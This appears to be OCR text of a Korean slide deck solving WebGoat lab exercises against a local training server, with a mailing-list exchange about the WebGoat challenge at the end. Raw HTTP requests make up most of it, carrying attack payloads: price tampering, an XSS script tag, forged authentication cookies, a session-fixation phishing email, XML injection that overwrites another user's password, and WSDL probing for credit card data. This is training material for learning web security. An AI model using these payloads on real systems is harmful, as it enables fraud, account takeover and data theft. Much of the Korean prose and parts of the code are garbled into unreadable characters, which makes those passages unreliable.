Cart”= L7} IS0 BEE BI0IE Ol Xt & I AL 3= ULL
POST /WebGoat/attack?Screen=121&menu=1600 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*

Referer: http://localhost/WebGoat/attack?Screen=121&menu=1600
Accept-Language: ko

Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: localhost

Pragma: no-cache

Cookie: JSESSIONID=CAEB873199E43A8A0856FD56816EE9B3

Authorization: Basic Z3VIc3Q6Z3VIc3Q=
Content-Length: 38

QTY=1&SUBMIT=Update+Cart&Price=0



Parameter Tampering

« Exploit Unchecked Email
- ZAM: [l hidden field
HEJ|

o =Hl:1) 2oxol AJHEE website HIKIfIH HSE H
2) AOIXOI AJHEE ‘OWASP'OIM ‘&I (Friend) 0l Hl M&E A
0l EMl= HIZE MS0l= MH™UIM = AFE 249 TO9| hidden field& X010
= BHZ0I IS Al +=4XPDI0td 3HIDL Aol= HE2E MSEIT= 0H0F St
X o=ttt AJEES 30| AJEE 30| Sot=Xl &2lol0r St HIAIXI 2 =0
<script>alert("XSS")</script>& 0™ XSS ZAH0| A2 =X HEE =o1st 4~ UL
POST /WebGoat/attack?Screen=73&menu=1600 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://localhost/WebGoat/attack?Screen=73&menu=1600
Accept-Language: ko
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: localhost
Pragma: no-cache
Cookie: JSESSIONID=CAEB873199E43A8A0856FD56816EE9B3
Authorization: Basic Z3VIc3Q6Z3VIc3Q=
Content-Length: 149

AE0I0 &= AE2 =48 BHEOIH H2Z &

A
o

gld=GMail+id&gPass=password&subject=Comment+for+WebGoat&to=hackeran@hotmail.com&msg=
%3Cscript%3Ealert%28%93XSS%94%29%3C%2Fscript%3E&SUBMIT=Send%21



Parameter Tampering

« Bypass Client Side Javascript Validation

o EI‘I- O|E7l 715 OQI

« Z2Ml: 0] websites= cllentQ} server A=A HES
=& Il 1] exception

ME client Z9] &

<SCRIPT>

regex1=/"[a-z]{3}$/;

regex2=/"[0-91{3}$/;

regex3=/"[a-zA-Z0-9 1*$/;

regex4=/"(one|twolthree|four|five|six|seven

regex5=/"Wd{5}$/;

regex6=/"Wd{5}(-#d{4})?$/;

regex7 =/ [2-9]#d{2}-?Wd{3}-?Wd{4}$/;

function validate() {

msg="JavaScript found form errors'; err=0;

if ('regex1.test(document.form.fieldl.value)) {err+=1;
if ('regex2.test(document.form.field2.value)) {err+=1;
if ('regex3.test(document.form.field3.value)) {err+=1;
if ('regex4.test(document.form.field4.value)) {err+=1;
if ('regex5.test(document.form.field5.value)) {err+=1;
if ('regex6.test(document.form.field6.value)) {err+=1;
if ('regex7.test(document.form.field7.value)) {err+=1;

if (err < 0) alert(msg);
else document.form.submit();

}
</SCRIPT>

=
TSI 01 SHIofl
I-Q 2
24 0] website(f] &1 2t I.J-sﬁlﬂl
type narrne vallle
LIRL Screen 49
LIRL e 1600
body field1 ahct
body field2 1231
body fizld3 abc+123+ABCT
body fieldd seven
body fields 802101
body fizld 80210-11111
body field? 301-604-48821
cookie JSESSIONID CAEBB73199E43A8A0B56F 05651 6EESES
msg+="¥n bad fieldl'}
msg+="¥n bad field2'}
msg+="#n bad field3'";}
msg+="#n bad field4'}
msg+="¥n bad field5';}
msg+="%n bad field6";}
msg+="%n bad field7";}



Session Management Flaws #1

« Hijack a Session

« Concept: & XI9| session IDs& QE= application JHEXl= 55 H Ot
Ol 201 S FAHHSE HUE= AS L& ot 0 S X J1
session IDE XU SHA0U FEHE0] OlUT, ™ application@
session-based brute force 2210] 0} & Al J1=01C.

« General Goal: }E A& A /9 215 E sessionE ES0IT= A|=0lcl

« Crowbar: brute-force tool, http://www.sensepost.com/research/crowbar/

POST /WebGoat/attack?Screen=124&menu=1700 HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://localhost/WebGoat/attack?Screen=124&8menu=1700

Accept-Language: ko

Proxy-Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: localhost

Pragma: no-cache

Authorization: Basic Z3VIc3Q6Z3VIc3Q=

Cookie: WEAKID=15206-1250599228244; JSESSIONID=CAEB873199E43A8A0856FD56816EE9B3
Content-Type: application/x-www-form-urlencoded

Content-Length: 69

Username=guest&Password=guest&WEAKID=15206-1250599228244&SUBMIT=Login

WEAKID=15207-1250600590197


http://www.sensepost.com/research/crowbar/

Session Management Flaws #2

Spoof an Authentication Cookie

Concept: Ot SHIE 9= cookielt X|IAMCIH, B2 application2
siteltiE FME XISHCE 12 & A0|CH cookieE Madl= &
12|SE S8 + ALY, MHIHE cookie AE2 FFE = UL
IHIH= cookieZ 0l client TH &0l '—*O}Olﬂ CI= A|AH! X|orX 2 (]
20l EHE = AL IHIHZ cookieE2 XSSE 01201¢ JI=Z
2 oI}

0|tl1 di=2 21 cookieS0fl tHOH &1l O] Yl=2l cookie QIS HiA
& &0lol= A0IL.

General Goal: X = 2= H3E St = A0{0F StLt.

Problem: (™ 0] 20{LI=XI webgoat/webgoat HEo=z 79I

(0] {=I 8

‘“’* aspect/aspectZ A0S SCt. S210] 21= 3I|E Oloh Tt
M CHAIO| dE aliceR E%’UUIE A =0lel.



Spoof an Authentication Cookie

GET /WebGoat/attack? HTTP/1.0

Accept: image/qgif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://localhost/WebGoat/attack?Screen=1258menu=1700

Accept-Language: ko

Proxy-Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: localhost

Cookie: AuthCookie=65432ubphcfx; JSESSIONID=ACCFD084835F4949383CD1FOB6E3B223
Authorization: Basic Z3VIc3Q6Z3VIc3Q=

webgoat -> 65432ubphcfx
aspect -> 65432udfqtb
alice -> 65432fdjmb

GET /WebGoat/attack? HTTP/1.0

Accept: image/qif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://localhost/WebGoat/attack?Screen=1258menu=1700

Accept-Language: ko

Proxy-Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: localhost

Cookie: AuthCookie=65432fdjmb; JSESSIONID=ACCFD084835F4949383CD1FOB6E3B223
Authorization: Basic Z3VIc3Q6Z3VIc3Q=



Session Management Flaws #3

Session Fixation
Concept: ‘Session Fixation’@ 2 sessiong SX|= Wt

How the attacks works: M= & 28t Session IDZ M0l 2I0H 141 = L.
ator S XJF = 121011 ASHUM F X It Session IDOJ| CJoH 212 | J] UH
=0l 171 applicationg Al 2=20ld{1] & [, 1= CTHAl 2S5 01X 230t
=ICt ™ applicationlfl M= Get-Requestlil Session IDJ} MEE = QULL.
017171 3401 Al2t&l= 20| L.

3AX= MEE Session ID2t EHHI BI' S XIOIAHI hyperlink& 23 + UL
OIZ S01, OIA2 application A XIZE FH SA MO mail {8 HOI==
=H|= mail0fl 2JoH E =+ AL Tt S IL 1 ink& 80til = 19018t
CiH, J= 2AXJI MEISE Session ID0| CJ0H QIS =L 2AX= 22 1D
T pagelll =011 S’ XI=I QA1) CIF8I0] =2101E gHE + UL
General Goal: 0|H HI=2 & SHIE &1 UL A2 SHA 8 9| 41}
g Sl 0l di=S Ol UM 28X O F X E0l= Session Fixation
O] uttH= O|OHOHOF SHCE. S8t Session IDE 0| HOH Get-RequestE A2 0}
= A0l S %2 E2AS 0I0H0HOF THLE.



Session Fixation #1

- Stage 1: Session IDE H 2011 Y= AR} EHHl Goat
Hills Financial2 $ 9] mail & 20| 2 Z=H|= mail
2 Janell| Al ©ELHOF BtCE Mail2 0]0] =HIT0 UL &
M2 B ink& =3 0l™ &I, Session ID (SID)E X &l
AIZICH. & & WHATEVER(NI= 01" OHE SXIE = HHIE
T AL Linke TS dt = AHHOF St

<a href=http://localhost/WebGoat/attack?Screen=46&menu=320&SID=WHATEVER >

You are: Hacker Joe

Mail To: jane.plane@owasp.org
Mail From: admin@webgoatfinancial .com

Title: Check your account

<h>Dear M3. Plane</h> <br><hr>During the last week we had a few ‘]

problems with our database. We have received mahy complaints
regarding incorrect account details. Please use the following link

to werify yvour account data:<brr<br><centerx<a

href=http:// localhost/ TebGoat,/attcack?
Goreen=46&menu=3Z0&3ID=WHATEVER> Goat Hills
Financial</ar</centerr<hr><hr:>We are sorry for the any

inconvenience and thank you for vour cooparation.<brr><khrr<h>¥our :j

Send Mail




Session Fixation #2

+ Stage 2: O[H| A2 01| mail 22 3|} Jane0IC}. ZAI0)
OIRAZ linkS JalJ| M, ZAI2 Tat=l sIDJ} USS £ HOICL
m 60| eMol=X EII0H JHS S 01l
<a href=http://localhost/WebGoat/attack?Screen=46&menu=320&SID=WHATEVER >

- Stage 10flA{ SID2 1 FH

« http://localhost/WebGoat/attack?Screen=152&menu=1700&SID=WHATEVER

+ Send Mail 20| &2 mailfjl M link 25

You are: Hacker Joe

Mail To: jane.plane@owasp.arg

Mail From: admin@webgoatfinancial.com

Title: Check your account

<hzDear M3. Plane</b> <brr<brrDuring the last week we had a few =

problems with our database. We have recelived many complaints
regarding incorrect account details. Please uzse the following link

to verify wyour account data:<hrr><hrr<centerr<a
href=http://localhost/WebGoat/attack?
Screen=152&menu=l?DD&SID=HHATEvERP Foat Hills
Financial</ar</centerr<brr<br>We are sorry for the any

inconvenience and thanhk you for yvour cooparatioh.<brr<brr<h>¥Your :j

send hail



http://localhost/WebGoat/attack?Screen=152&menu=1700&SID=WHATEVER

Session Fixation #3

. Stage 3: :! 2 8 49| dataE =QIOII| fI0H SAI0AHI =ZOlE
01Tt B _I 1|’“E7I =Xl 2| 0l =192! Otdt. S2419]
user name = Jane 0] 1l password= tarzan O] L.

e Solution:
http://localhost/WebGoat/attack?Screen=84&menu=1700&SID=WH
ATEVER

- Stage 4: sessiong & A|ZI0|C}. Goat Hills Financialfl =011
HOl k=2 23S MQUIE}
 Solution:

http://localhost/WebGoat/attack?Screen=84&menu=1700&SID=WH
ATEVER



http://localhost/WebGoat/attack?Screen=84&menu=1700&SID=WHATEVER
http://localhost/WebGoat/attack?Screen=84&menu=1700&SID=WHATEVER
http://localhost/WebGoat/attack?Screen=84&menu=1700&SID=WHATEVER
http://localhost/WebGoat/attack?Screen=84&menu=1700&SID=WHATEVER

Web Services #1

* Create a SOAP Request
— SOAP requestE MA{l= Gt

« Concept: Web ServiceSE SOAP requestS9| AI2E S
OHM S2AIBHCE. 0] S requestS 2 web service definition
language (WSDL) Ofl EO|& S8 &Mol)| HE Al
OIM web service®Z MSEILL WSO fileS0| Aot AS
HH < XI. WebGoat®] (WSDL) I &0I0ta).

- General Goal: browser LI Web Service tool& J}X| 1l
WSDLOI &2 Al =012} Web serviceOfl (HSH URL
http://localhost/WebGoat/services/SoapRequest 0] Cl.
WSDLE Y S web service request®] 20 ?WSDLE )}
AZe=l 2E0E = UL

« Solution:
http://localhost/WebGoat/services/SoapRequest?WSDL



http://localhost/WebGoat/services/SoapRequest
http://localhost/WebGoat/services/SoapRequest?WSDL

SOAP (Simple Object Access Protocol)

- SOAP Message9] J|& X
— SOAP Message= CI=21} 20| Envelope, Header, Body Ml J12l = ME(parts)E 0|0 XI
M OleHel 22 AXE FAMEC]. (SOAP Header= SOAP MessageOll Al Optional OtC}.)
« SOAP Message9| 7M1 QA .
— Envelope: HIAIXICO| AlZHt 22 Holgt
— Header: HIAIX|C] B E XHAM AMES LIS (optional)
— Body: M&E HIAIXIE EEet 2= XML HI0|EHE ZEEtet
- SOAP Message9] (il
— SOAP Message XIMl= OtLEC] XML A 0| L.
— SOAP spec2 message 2| X0 LHEE FM0I)| 2Bt spec0|2Z Messagel| ME
endpoint 39 = XS X] =Lt
<?xml version="1.0" ?>

<env:Envelope xmlIns:env="http://www.w3.0rg/2003/05/soap-envelope" >
<env:Header>

o
=
[ -

</env:Header>

<env:Body>

<m:chargeReservationResponse
env:encodingStyle="http://www.w3.0rg/2003/05/soap-encoding"
xmlIns:m="http://travelcompany.example.org/">

</m:chargeReservationResponse>
</env:Body>

</env:Envelope> Ref: http://resl.icu.ac.kr/~iamhjoo/etc/soap.pdf



http://resl.icu.ac.kr/~iamhjoo/etc/soap.pdf

Create a SOAP Request #1

1. Change the POST header to open the SoapRequest.
2. Change the Content-Type to text/xml.
3. Add a header SOAPAction.

4. Append the XML envelope to the request

POST http://localhost/WebGoat/services/SoapRequest HTTP/1.1
Authorization: Basic Z3VIc3Q6Z3VIc3Q=

Content-Type: text/xml

SOAPAction:

<?xml version="1.0" encoding="UTF-8"?>

<SOAP-ENV:Envelope xmIns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.0rg/2001/XMLSchema"
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance" >

<SOAP-ENV:Body>

<nsl:getFirstName SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:ns1="http://lessons">

<id xsiitype="xsd:int">101</id>

</nsl:getFirstName>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>



Create a SOAP Request #2

POST /WebGoat/services/SoapRequest?WSDL HTTP/1.0

Accept: */*

Referer: http://localhost/WebGoat/attack?Screen=1008menu=1800
Accept-Language: ko

Proxy-Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: localhost

Pragma: no-cache

Cookie: JSESSIONID=ACCFD084835F4949383CD1FOB6E3B223
Authorization: Basic Z3VIc3Q6Z3VIc3Q=

Content-Type: text/xml

SOAPAction:

<?xml version="1.0" encoding="UTF-8"?>

<SOAP-ENV:Envelope xmlIns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.0rg/2001/XMLSchema"
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance">

<SOAP-ENV:Body>

<nsl:getFirstName SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:ns1="http://lessons">

<id xsi:type="xsd:int">101</id>

</nsl:getFirstName>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>



Web Services #2

« WSDL Scanning

« General Goal: 0] 3l web serviceE 8t APIO|LCL. 0]
web serviceE 0 WSDL fileS S2&0}1] (i 112409]

credit numberg & <0}2l.

POST /WebGoat/attack?Screen=106&menu=1800 HTTP/1.0

Accept: image/qgif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-
flash, */*

Referer: http://localhost/WebGoat/attack?Screen=1068menu=1800
Accept-Language: ko

Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: localhost

Pragma: no-cache

Cookie: JSESSIONID=ACCFD084835F4949383CD1FOB6E3B223
Authorization: Basic Z3VIc3Q6Z3VIc3Q=

Content-Length: 39

id=101&field=getCreditCard&SUBMIT=Submit



Web Services #3

« Web Service SAX Injection
— Web Servicelfl SAX InjectionS $30l= Gt

« General Goal: {™ web interface& & background{I A Web Service©] Al
Ol Ot=EL0L M2 2E o HSSE -|-|6H web servicelll O|=8HCIH,
web interface)} E= XMLE e JsA 0| QL.

- O|H ASZHI0IAL, 1011t THE | X 9] password& HAAIIIEZE A0l
POST /WebGoat/attack?Screen=788menu=1800 HTTP/1.0
Accept: image/qif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://localhost/WebGoat/attack?Screen=78&menu=1800
Accept-Language: ko
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: localhost
Pragma: no-cache
Cookie: JSESSIONID=ACCFD084835F4949383CD1F0B6E3B223
Authorization: Basic Z3VIc3Q6Z3VIc3Q=
Content-Length: 22

password=newpassword </password >

</wsnsl:changePassword>

<wsnsl:changePassword>

<id xsiitype="xsd:int'>102</id>

<password xsi:itype="xsd:string'>notforyoutoknow&SUBMIT=G0%21



Web Services #4

« Web Service SQL Injection

— Web Service SQL Injection® +80l= W
«  General Goal: web service descrlptlon language (WDSL) ItAES SO, 012 Al
X9 credit card HZ ES ESOITE AlITOI2L. SA42 0] 2180l EF= &l ﬂké

= A 92 HO|C} LA Mzwuuﬂ QIS [, pageE ME 1A OHA] ‘green star'E

2H0tal.
. Solution: 0] Y1 SOAPUIBI= web services EE Al2sIOZ2 4 &H =2 ALt 1

o a—-1L

il a2 OUIM @ Xl WebScarabQt2 AIQ‘“ 7"OIEI WebScarab0j| M

“WebServices” EHOZ J}d}l. BA2 P == web serviceslLt WSDL I S9| O|AEL
g &2 0|0



The CHALLENGE!

From: Jeff Williams _at_ Aspect <_at_>
Date: Wed, 26 Mar 2003 09:56:00 -0500

Hi,

The challenge is intended to be very difficult (and in some cases
tedious), like penetrating systems in the real world. But it's definitely
achievable with patience and thought. I've always said your best
pentest

tool is in your head.

Anyway, you can solve the authentication stage by figuring out how
to

access the source code and then just checking the logic. You're
right

that it is not based on SQL. Another solid reason for code review,
but

that's another thread. There is another way to get the credentials by
sniffing the network, but it's not realistic in most environments and
was

intended to teach a different skill.

As far as defacing the site using the SSI vulnerability, you'll need to
learn the SSI syntax and then look for a command you could inject
and use.

I'm sure you can execute the attack if you think hard. The code can
also

be your guide if you figured out how to access it. Of course you
could

cheat and extract it from CVS, but it is available through a separate
weakness in WebGoat.

Good luck,

--Jeff

Jeff Williams
Aspect Security, Inc.
http://www.aspectsecurity.com

————— Original Message -----

From: Indian Tiger

To: webappsec_at_securityfocus.com

Sent: Saturday, February 23, 2002 2:24 AM
Subject: webgoat breaking

hi all,

i m trying to break the webgoat challenge. But i m not able to break
the

user authentication. I tried to break user authentication using all
possible

SQL Injections, but it couldnt work out. I need help on this topic. what
i

should try to break this user authentication. i have gone thru its code
it

is written in the java & i did not find any Sql query used for cheking
username & password, so is there any way to break this user
authentication

scheme ?

I m looking for the material on SERVER SIDE INCLUDES
VULNAREBILITIES. i

got

the information that some sites are vulnarable to Server Side Includes
but

i

dont know how i can use SSI to test vulnarability of the sites. SSL
includes can be helpfull in webgoat also.Any help on this topic will be
highly appreciated.

Thanking You.
Sincerely,


http://www.aspectsecurity.com/

You did a good job!



